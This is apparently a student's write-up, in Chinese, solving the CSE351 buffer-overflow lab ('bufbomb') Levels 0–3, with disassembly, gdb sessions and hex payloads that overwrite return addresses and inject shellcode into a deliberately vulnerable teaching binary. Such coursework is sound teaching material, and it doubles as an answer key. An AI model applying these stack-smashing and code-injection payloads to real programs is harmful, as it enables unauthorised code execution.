课程主页:https://courses.cs.washington.edu/courses/cse351/16sp/

课程资料:

实验部分:https://github.com/vuquangtrong/HW-SW_Interface_Course

实验说明:https://courses.cs.washington.edu/courses/cse351/13sp/lab-0.html

课件:http://academictorrents.com/details/b63a566df824b39740eb9754e4fe4c0140306f4b

课程视频:https://www.bilibili.com/video/BV1Zt411s7Gg?from=search&seid=8781593976070799647

参考资料:

https://github.com/HeLiangHIT/Hardware_Software_Interface/blob/f223721d39c88ffb30a109922fbb7db761e6a3ee/README.md

这次完成Lab3,这次的内容是Buffer Overflows。

x86-64参考资料:

https://web.stanford.edu/class/archive/cs/cs107/cs107.1166/guide_x86-64.html

https://cs.brown.edu/courses/cs033/docs/guides/x64_cheatsheet.pdf

注意事项:内存中栈是底部的地址较大。

Level 0: Candle

回顾getbuf的代码:

unsigned long long getbuf()
{
  char buf[36];
  volatile char* variable_length;
  int i;
  unsigned long long val = (unsigned long long)Gets(buf);
  variable_length = alloca((val % 40) < 36 ? 36 : val % 40);
  for(i = 0; i < 36; i++)
  {
	variable_length[i] = buf[i];
  }
  return val % 40;
}

我们需要调用smoke,而smoke函数的地址为:

4010c0

输入的时候需要反序,即

c0 10 40

getbuf的反汇编结果为:

0000000000400da0 <getbuf>:
  400da0:	55                   	push   %rbp
  400da1:	48 89 e5             	mov    %rsp,%rbp
  400da4:	48 83 ec 30          	sub    $0x30,%rsp
  400da8:	48 8d 7d d0          	lea    -0x30(%rbp),%rdi

注意内存的形式如下:

即:

48+8(%rbp)+8(%rsp)

所以我们的输入为48+8个任意字符,以及c0 10 40:

30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 c0 10 40

使用如下命令生成结果:

./sendstring < L0.txt > L0.bytes

运行结果

qz@qz-virtual-machine:~/桌面/Labs/lab3$ ./bufbomb -u qz < L0.bytes
Username: qz
48
3d
fe
54
e2
fa
3e
71
Cookie: 0x713efae254fe3d48
Type string: Smoke!: You called smoke()

Level 1: Sparkler

fizz函数:

0000000000401070 <fizz>:
  401070:	48 83 ec 08          	sub    $0x8,%rsp
  401074:	c7 05 32 12 20 00 01 	movl   $0x1,0x201232(%rip)        # 6022b0 <check_level>
  40107b:	00 00 00 
  40107e:	48 8b 74 24 10       	mov    0x10(%rsp),%rsi
  401083:	48 3b 35 96 12 20 00 	cmp    0x201296(%rip),%rsi        # 602320 <cookie>
  40108a:	74 13                	je     40109f <fizz+0x2f>
  40108c:	bf b0 15 40 00       	mov    $0x4015b0,%edi
  401091:	31 c0                	xor    %eax,%eax

我们需要调用fizz,而fizz函数的地址为:

401070

输入的时候需要反序,即:

70 10 40

由之前的内容可知:

Cookie: 0x713efae254fe3d48

所以现在确认cookie的位置即可,由汇编命令:

0000000000401070 <fizz>:
  401070:	48 83 ec 08          	sub    $0x8,%rsp
  401074:	c7 05 32 12 20 00 01 	movl   $0x1,0x201232(%rip)        # 6022b0 <check_level>
  40107b:	00 00 00 
  40107e:	48 8b 74 24 10       	mov    0x10(%rsp),%rsi
  401083:	48 3b 35 96 12 20 00 	cmp    0x201296(%rip),%rsi        # 602320 <cookie>

我们可知cookie存储在rsi寄存器内,进入函数时rsp首先减8,然后加16得到cookie的位置,所以整体的结构为:

48+8(%rbp)+8(%rsp)+8+cookie

输入为:

30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 70 10 40 00 00 00 00 00 00 00 00 00 00 00 00 00 48 3d fe 54 e2 fa 3e 71

生成输入:

./sendstring < L1.txt > L1.bytes

运行结果:

qz@qz-virtual-machine:~/桌面/Labs/lab3$ ./bufbomb -u qz < L1.bytes
Username: qz
48
3d
fe
54
e2
fa
3e
71
Cookie: 0x713efae254fe3d48
Type string: Fizz!: You called fizz(0x713efae254fe3d48)

补充,内存中的结果如下:

(gdb) x/8 $rsp
0x7fffffffbce8:	0x00401070	0x00000000	0x00000000	0x00000000
0x7fffffffbcf8:	0x54fe3d48	0x713efae2	0x28fe4200	0x00000000

Level 2: Firecracker

首先查看汇编码:

0000000000401020 <bang>:
  401020:	48 83 ec 08          	sub    $0x8,%rsp
  401024:	48 8b 35 dd 12 20 00 	mov    0x2012dd(%rip),%rsi        # 602308 <global_value>
  40102b:	48 3b 35 ee 12 20 00 	cmp    0x2012ee(%rip),%rsi        # 602320 <cookie>
  401032:	c7 05 74 12 20 00 02 	movl   $0x2,0x201274(%rip)        # 6022b0 <check_level>
  401039:	00 00 00 
  40103c:	74 13                	je     401051 <bang+0x31>
  40103e:	bf 70 15 40 00       	mov    $0x401570,%edi
  401043:	31 c0                	xor    %eax,%eax
  401045:	e8 a6 f7 ff ff       	callq  4007f0 <printf@plt>
  40104a:	31 ff                	xor    %edi,%edi
  40104c:	e8 6f f8 ff ff       	callq  4008c0 <exit@plt>
  401051:	bf 48 15 40 00       	mov    $0x401548,%edi
  401056:	31 c0                	xor    %eax,%eax
  401058:	e8 93 f7 ff ff       	callq  4007f0 <printf@plt>
  40105d:	bf 02 00 00 00       	mov    $0x2,%edi
  401062:	e8 c9 fd ff ff       	callq  400e30 <validate>
  401067:	eb e1                	jmp    40104a <bang+0x2a>
  401069:	0f 1f 80 00 00 00 00 	nopl   0x0(%rax)

从代码中可以看出cookie存储在rsi寄存器中,所以我们应该注入如下代码:

mov $0x713efae254fe3d48,%rsi
push $0x40102b
retq

然后进行编译:

gcc -c L2.s
objdump -d L2.o > L2.d

得到如下结果:


L2.o:     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 be 48 3d fe 54 e2 	movabs $0x713efae254fe3d48,%rsi
   7:	fa 3e 71 
   a:	68 2b 10 40 00       	pushq  $0x40102b
   f:	c3                   	retq   

注意这里跳转的地址为如下命令的位置:

40102b:	48 3b 35 ee 12 20 00 	cmp    0x2012ee(%rip),%rsi

然后我们要确定注入代码的位置,这里将代码放在buffer起始位置,计算方式如下:

qz@qz-virtual-machine:~/桌面/Labs/lab3$ gdb bufbomb
GNU gdb (Ubuntu 9.1-0ubuntu1) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufbomb...
(gdb) break *0x401070
Breakpoint 1 at 0x401070: file bufbomb.c, line 73.
(gdb) run -u qz < L1.bytes
(gdb) x/16w ($rsp-64)
0x7fffffffbcb0:	0x30303030	0x30303030	0x30303030	0x30303030
0x7fffffffbcc0:	0x30303030	0x30303030	0x30303030	0x30303030
0x7fffffffbcd0:	0x30303030	0x30303030	0x30303030	0x30303030
0x7fffffffbce0:	0x30303030	0x30303030	0x00401070	0x00000000
(gdb) print /x ($rsp - 64)
$3 = 0x7fffffffbcb0

即buffer的起始位置为:

0x7fffffffbcb0

于是得到如下代码:

48 be 48 3d fe 54 e2 fa 3e 71 68 2b 10 40 00 c3 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 b0 bc ff ff ff 7f

生成输入:

./sendstring < L2.txt > L2.bytes

运行结果:

qz@qz-virtual-machine:~/桌面/Labs/lab3$ gdb bufbomb
GNU gdb (Ubuntu 9.1-0ubuntu1) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufbomb...
(gdb) run -u qz < L2.bytes 
Starting program: /home/qz/桌面/Labs/lab3/bufbomb -u qz < L2.bytes
Username: qz
48
3d
fe
54
e2
fa
3e
71
Cookie: 0x713efae254fe3d48
Type string: Bang!: You set global_value to 0x713efae254fe3d48
[Inferior 1 (process 9251) exited normally]

Level 3: Dynamite

将getbuf的返回值设置为cookie,然后将rbp设置为调用getbuf之前的值。

首先查看rbp应该设置的值:

qz@qz-virtual-machine:~/桌面/Labs/lab3$ gdb bufbomb
GNU gdb (Ubuntu 9.1-0ubuntu1) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufbomb...
(gdb) break *0x400da0
Breakpoint 1 at 0x400da0: file bufbomb.c, line 132.
(gdb) run -u qz < L2.bytes
Starting program: /home/qz/桌面/Labs/lab3/bufbomb -u qz < L2.bytes
Username: qz
48
3d
fe
54
e2
fa
3e
71
Cookie: 0x713efae254fe3d48

Breakpoint 1, getbuf () at bufbomb.c:132
132	{
(gdb) print /x $rbp
$1 = 0x7fffffffbd10

所以

rpb=0x7fffffffbd10

于是得到如下汇编码:

movq $0x713efae254fe3d48,%rax
movq $0x7fffffffbd10,%rbp
push $0x400ef3
retq

然后进行编译:

gcc -c L3.s
objdump -d L3.o > L3.d

得到如下结果:


L3.o:     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 b8 48 3d fe 54 e2 	movabs $0x713efae254fe3d48,%rax
   7:	fa 3e 71 
   a:	48 bd 10 bd ff ff ff 	movabs $0x7fffffffbd10,%rbp
  11:	7f 00 00 
  14:	68 f3 0e 40 00       	pushq  $0x400ef3
  19:	c3                   	retq   

于是得到如下代码:

48 b8 48 3d fe 54 e2 fa 3e 71 48 bd 10 bd ff ff ff 7f 00 00 68 f3 0e 40 00 c3 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 b0 bc ff ff ff 7f

生成输入:

./sendstring < L3.txt > L3.bytes

运行结果:

qz@qz-virtual-machine:~/桌面/Labs/lab3$ gdb bufbomb
GNU gdb (Ubuntu 9.1-0ubuntu1) 9.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufbomb...
(gdb) run -u qz < L3.bytes 
Starting program: /home/qz/桌面/Labs/lab3/bufbomb -u qz < L3.bytes
Username: qz
48
3d
fe
54
e2
fa
3e
71
Cookie: 0x713efae254fe3d48
Type string: Boom!: getbuf returned 0x713efae254fe3d48
[Inferior 1 (process 12075) exited normally]